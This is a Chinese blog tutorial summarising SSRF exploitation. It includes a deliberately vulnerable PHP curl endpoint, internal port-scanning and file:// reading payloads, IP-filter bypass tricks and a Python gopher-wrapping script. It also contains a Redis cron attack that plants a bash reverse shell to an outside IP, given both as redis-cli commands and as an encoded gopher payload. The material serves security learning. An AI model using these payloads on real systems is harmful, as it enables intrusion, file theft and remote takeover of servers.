SSRF漏洞总结

SSRF漏洞总结0x00什么是SSRF?服务端请求伪造(SSRF)是指攻击者能够从易受攻击的web应用程序发送精心设计的请求,对其他网站进行攻击(利用一个可发起网络请求的服务当做跳板来攻击其他服务)例如:我在http://localhost:8888/pentest/ssrf/index.php有这样一个存在SSRF漏洞的index.php。即我得到了一个使用curl发起网络请求然后返回客户端并且我可以…

大家好,又见面了,我是你们的朋友全栈君。

0x00 什么是SSRF?

SSRF(Server-Side Request Forgery):指目标应用存在一种漏洞,利用该漏洞攻击者可以控制目标web应用的后端程序向任意ip地址/语言发送http请求或者其他数据包

对外发起网络请求的地方都可能存在SSRF漏洞

0x01 危害和利用:

1. 可以对外网服务器所在内网进行端口扫描

2. 攻击运行在内网或本地的应用程序(比如溢出)

3. 对内网Web应用比如cms进行指纹识别,通过访问cms的一些特有默认文件实现

4. 攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(比如 Struts2漏洞利用,SQL注入等)

5. 利用File协议读取本地文件

例如:

以下后端脚本就存在ssrf漏洞,攻击者可以控制脚本向任意地址发送数据(curl不仅仅能发送http请求还支持其他协议)

<?php
$url = $_GET['url'];
$hCurl = curl_init();
curl_setopt($hCurl,CURLOPT_URL,$url);
curl_setopt($hCurl,CURLOPT_HEADER,false);
curl_setopt($hCurl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($hCurl,CURLOPT_SSL_VERIFYPEER,false);
curl_setopt($hCurl,CURLOPT_FOLLOWLOCATION,true);
$ret = curl_exec($hCurl);
curl_close($hCurl);
echo $ret;
?>

通过这index.php,攻击者可以如何利用呢?

1.隐藏身份,请求外网地址

例如:index.php?url=www.baidu.com

2.探测和攻击内网中其他服务器

比如说对内网的机器进行扫描。因为php的curl不仅支持http协议,还支持其他协议,通过其他协议可以对内网进行扫描

例如:

SSRF漏洞总结

还可以:

index.php?url=dict://192.168.2.101:80 利用自动化脚本遍历内网的ip地址,探测内网中80端口开放的机器。

index.php?url=dict://127.0.0.1:3306

来探测mysql数据库的相关版本信息(其实发送get请求也可以)

index.php?url=dict://127.0.0.1:3306

通过文件传输协议file://来请求文件内容,可以用来爬源码,爬数据库conf文件(存了数据库账号密码等的文件,这样我们就能尝试在从外部连接他的数据库)等

index.php?url=file://Applications/MAMP/htdocs/pentest/ssrf/1.txt

0x01 如何判断ssrf漏洞的存在

关键在于:判定目标网站的后端程序 是否可以被控制用于向外界发送请求

判断方法:

  1. 是否有回显
  2. 延时
  3. dns请求:利用我们手中的域名和dns服务器,让目标站点尝试向该域名发送请求,如果能发送请求,必然会先进行dns查询,将域名转化为ip,那么我们的dns服务器上就可以收到该dns查询请求。(可以利用ceye.io)
  4. 同样的思路:我们自己的主机上开放一个tcp端口(可以直接利用nc或者自己写一个服务端程序)让目标主机尝试向我们自己的主机发送请求,如果我们的tcp端口收到了连接请求,那么就证明目标主机存在ssrf漏洞。

0x02 PHP相关函数总结

1.file_get_contents()

例题:

将http响应报文写入图片存储起来

SSRF漏洞总结

例如:有些网站的图片上传功能支持直接填写图片的url地址,那么从程序员的角度上可以猜测这种功能有两种实现方式:

第一种,直接将url入库,然后前端图片的src设置成该url即可

第二种,对url发送http请求,将图片下载下来,保存在服务器本地或者类似七牛云的对象存储空间中

显然第二种情况就存在ssrf漏洞,并且是“有回显的ssrf”

2.fsockopen()

创建一个tcp或者udp套接字,并向目标主机发送连接请求

SSRF漏洞总结

可以用来实现发送http get请求/post请求等,因为tcp或者udp套接字,所以应用层协议的报头需要自己写。

使用案例:https://blog.csdn.net/zjsfdx/article/details/89376176

3.curl_exec()

https://www.php.net/curl_exec

最常用的是用来发送http请求(get请求,post请求等)

除此之外还支持其他应用层协议,比如常用的dict、file、ftp、sftp、gopher、telnet

curl支持的所有应用层协议:

SSRF漏洞总结

0x04 IP限制绕过

如果ssrf漏洞限定了输入不能为ip地址的话,可以用以下方式绕过正则匹配:

1.ip地址之后加端口

2.ip地址前添加用户名 例如 http://root@127.0.0.1

3.ip地址之后添加get传参

4.短网址:使用短网址平台将url转化为短网址(短网址平台实现原理其实非常简单,就是在它的域名下提供一个路由,当你访问这个路由的时候就会向你提供的url发送get请求或者直接跳转到你提供的url)

如果curl没有开启跟随跳转选项的话,这种短网址跳转的方式就会得不到回显

5.使用子域名解析:xip.io

也就说“ip地址.xip.io” 这个域名会被 dns服务器解析为“ip地址”

SSRF漏洞总结

将ip地址转化为其他进制:

比如说:目标主机限制了ip地址不能为127.0.0.1,那么就可以将:

127.0.0.1 -> 8进制 0177.0.0.1->16进制 0x7f.0.0.1

因为常见的ip地址为了人类友好都是点分十进制的表示方法,但是本质上在计算机中ip地址实际存储形式不过是用4个字节的内存去存4个8位的二进制,也就是4个两位的16进制

127.0.0.1 ->0x7f 00 00 01  浏览器访问:http://0x7f000001 仍然是可行的

将http://0x7f000001 转化为十进制也是可行的 http://2130706433

也就说点分十进制的表示方式 和十进制的表示都可行的

点分十进制是将32位的ip地址 8位8位的转化为10进制,所以需要点来分割

十进制是将32位的ip地址32位全部转化为10进制,所以不需要点来分割

0x05 gopher协议

gopher是一个互联网上使用的分布型的文件搜集获取网络协议

gopher协议的格式:gopher://host:port/_+数据流

  1. 如果不指定端口,默认端口为70端口
  2. 数据流要求全部进行url编码,并且以\r\n换行也就说以%0D%0A换行

gopher协议支持发出GET、POST请求:

可以先截获 get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议 (俗称万能协议)。

转化思路:

将get请求报文/post请求报文先进行url编码,然后将%0A 全部替换为%0D%0A即可

比如说:

该页面存在一个ssrf漏洞:

<?php
$url = $_GET['url'];
$hCurl = curl_init();
echo "接收到的url为:\n";
echo $url."\n";
curl_setopt($hCurl,CURLOPT_URL,$url);
curl_setopt($hCurl,CURLOPT_HEADER,false);
curl_setopt($hCurl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($hCurl,CURLOPT_FOLLOWLOCATION,true);
$ret = curl_exec($hCurl);
curl_close($hCurl);
echo $ret;
?>

利用脚本:

import urllib.parse
import requests


def createGopher(host, port, http_header):
    """将http应用层协议包装成gopher协议"""
    http_header = urllib.parse.quote(http_header)  # 对报文进行url编码
    http_header = http_header.replace('%0A', '%0D%0A')  # 将所有\n 替换为\r\n
    gopher = "gopher://%s:%d/_%s" % (host, port, http_header)
    # print("gopher协议:",gopher)
    return gopher


def get_demo():
    http_header = """GET / HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
"""
    host = "127.0.0.1"
    port = 8888
    gopher = createGopher(host, port, http_header)
    return gopher


def post_demo():
    http_header = """POST /loophole-recurrence/SSRF/post.php HTTP/1.1
Host: localhost:8888
Content-Length: 26
Content-Type: application/x-www-form-urlencoded

username=123&passwd=123123
"""
    host = "localhost"
    port = 8888
    gopher = createGopher(host, port, http_header)
    return gopher




def main():
    gopher = get_demo()
    # gopher = post_demo()
    # 因为存在ssrf漏洞的php脚本在收到请求后,会对url进行url解码,所以这里需要再编码一次,确保php的curl发送的url编码格式的gopher协议
    gopher = urllib.parse.quote(gopher)
    base_url = "http://localhost:8888/loophole-recurrence/SSRF/"
    target_url = base_url+"curl.php?url="+gopher
    resp = requests.get(target_url)
    print(resp.text)


if __name__ == '__main__':
    main()

gopher对redis的利用:

redis没有密码

思路:

利用ssrf漏洞,通过gopher协议向redis发送一个请求,让redis将数据库文件保存到linux定时任务文件夹下,从而写入一个定时任务

redis-cli -h $1 -p $2 set 1  "\n\n*/1 * * * * bash -i >& /dev/tcp/106.12.37.37/2333 0>&1\n\n"
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名

分、时、日、月、周 命令

*/1 * * * */bin/bash -i >& /dev/tcp/192.168.0.105/4444 0>&1

0 是标准输入的文件描述符

1 是标准输出的文件描述符

0>&1 表示将标准输入重定向到文件描述符为1的文件中,即将标准输入重定向到标准输出

/dev/tcp/xxxx/xxx 是一个特殊的文件,凡是尝试对该文件读或者写的操作,都会导致该文件发起一个socket连接

/bin/bash >& 表示将/bin/bash 的标准输出 写入到 /dev/tcp/xxxx

/dev/tcp/ip地址/端口 相当于创建了一个tcp套接字去连接IP地址:端口

这是一个反向的木马架构

正向的木马是标准的cs架构,把server放在目标主机上,打开端口。攻击者用client去连这个端口

反向的木马架构是将cs架构倒过来,把server放在自己主机上,打开端口,让目标主机用client去连

比如说:我在ip地址为192.168.0.105的主机上nc -l -p 4444 开启了一个服务端

然后我让目标主机:/bin/bash -i >& /dev/tcp/192.168.0.105/4444 0>&1

config set dir 设置数据库文件存储的位置

config set dbfilename root 设置数据库文件名为root

save 强制redis将当前数据库中的数据同步到数据库文件中

如何使用gopher协议来模拟redis-cilent 的以上操作呢?

我们需要将redis-client 发送给redis-server的报文截获下来,修改为gopher协议的格式

如何截获呢?可以使用以中间人代理,让redis-client发送报文给中间人,中间人转发给redis-server

shell.sh

redis-cli -h $1 -p $2 set 1  "\n\n*/1 * * * * bash -i >& /dev/tcp/106.12.37.37/2333 0>&1\n\n"
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

比如说中间人端口为4444,启动中间人代理

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

SSRF漏洞总结

向中间人发送数据包,./shell.sh 127.0.0.1 4444

拦截到的报文格式:

SSRF漏洞总结

SSRF漏洞总结

格式转化脚本:

SSRF漏洞总结

curl -v ‘gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a %0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d% 0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0 aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0 d%0a*1%0d%0a$4%0d%0aquit%0d%0a’

需要注意的是,如果要换IP和端口,前面的$58也需要更改,$58表示字符串长度 为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a,3+51+4=58。如果想换成 42.256.24.73,那么$58需要改成$61,以此类推就行。

gopher对mysql的利用

背景:存在ssrf 、mysql 无密码

因为有密码时,需要计算服务器生成的挑战数:

MySQL数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程。

(1)对mysql 客户端和mysql服务端之间的交互报文进行抓包

mysql -h localhost -uroot -p

设置-h为本地回环,这样报文就会走Loopback对应的网卡接口

SSRF漏洞总结

只要复制报文的16进制代码,转化为gopher格式直接发过去就行了

协议转化:

gopher://127.0.0.1:3306/_ +url编码的登录请求

+包长度

+%00%00%00%03

+查询语句(url编码)

+%01%00%00%00%01

工具推荐

https://github.com/tarunkant/Gopherus

 

 

0x0 案例

http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0215779

 

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/152841.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • 权限系统与RBAC模型概述[绝对经典]

    0.前言一年前,我负责的一个项目中需要权限管理。当时凭着自己的逻辑设计出了一套权限管理模型,基本原理与RBAC非常相似,只是过于简陋。当时google了一些权限管理的资料,从中了解到早就有了RBAC这个东西。可惜一直没狠下心来学习。更详细的RBAC模型非常复杂。本文只做了一些基础的理论性概述。本文资料完全来自互联网。  1.权限系统与RBAC模型概述

  • 关于cBridge2.0,你不能错过的关键信息(二)!

    关于cBridge2.0,你不能错过的关键信息(二)!我们之前讨论了cBridge2.0的两种流动性模型,还深入探讨了「自管」流动性模型的设计挑战。今天,我们详细聊聊针对该模型设计挑战的解决方案。首先,我们从节点协调和操作问题开始。1/n上篇ELI5短文中我们提到,“cBridge2.0是第一个也是唯一一个允许流动性提供者(LP)在「自管」和「共管」流动性模型之间自由选择的跨链架构。在「自管」模式下,也就是「非托管」模式,LP可以100%地控制其流动性。为此,每个LP须要在服务器中运行一个cBridge节点「程序」…

  • 闫学灿acwing_分组背包问题

    闫学灿acwing_分组背包问题有 N 种物品和一个容量是 V 的背包。物品一共有三类:第一类物品只能用1次(01背包);第二类物品可以用无限次(完全背包);第三类物品最多只能用 si 次(多重背包);每种体积是 vi,价值是 wi。求解将哪些物品装入背包,可使物品体积总和不超过背包容量,且价值总和最大。输出最大价值。输入格式第一行两个整数,N,V,用空格隔开,分别表示物品种数和背包容积。接下来有 N 行,每行三个整数 vi,wi,si,用空格隔开,分别表示第 i 种物品的体积、价值和数量。si=−1 表示第 i 种

  • win10怎样修改hosts文件_win10改hosts权限

    win10怎样修改hosts文件_win10改hosts权限1.先根据下面路径找到host文件C:\Windows\System32\drivers\etc2.把host文件复制一份出来3.修改完成后,直接替换就可以

    2022年10月12日
  • RuntimeException和Exception区别

    RuntimeException和Exception区别1.java将所有的错误封装为一个对象,其根本父类为Throwable,Throwable有两个子类:Error和Exception。2.Error是Throwable的子类,用于指示合理的应用程序不应该试图捕获的严重问题。大多数这样的错误都是异常条件。虽然ThreadDeath错误是一个“正规”的条件,但它也是Error的子类,因为大多数应用程序都不应该试图捕获它。在执行该方…

  • MATLAB 处理大数据

    MATLAB 处理大数据如何处理大规模的快数据集大数据指的是创建的数据和供分析的数据的数量与速率迅速增加。此趋势的主要驱动因素是不断增加的信息数字化。采集设备的数量和类型以及其他数据生成机制无时无刻不在增加。大数据源包括来自仪表传感器、卫星和医疗图像的流数据,来自安全摄像机的视频以及派生自金融市场和零售运营的数据。上述来源的大数据集可以包含千兆字节或百万兆字节的数据,并且每天以兆字节或千兆字节的级别增长。

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号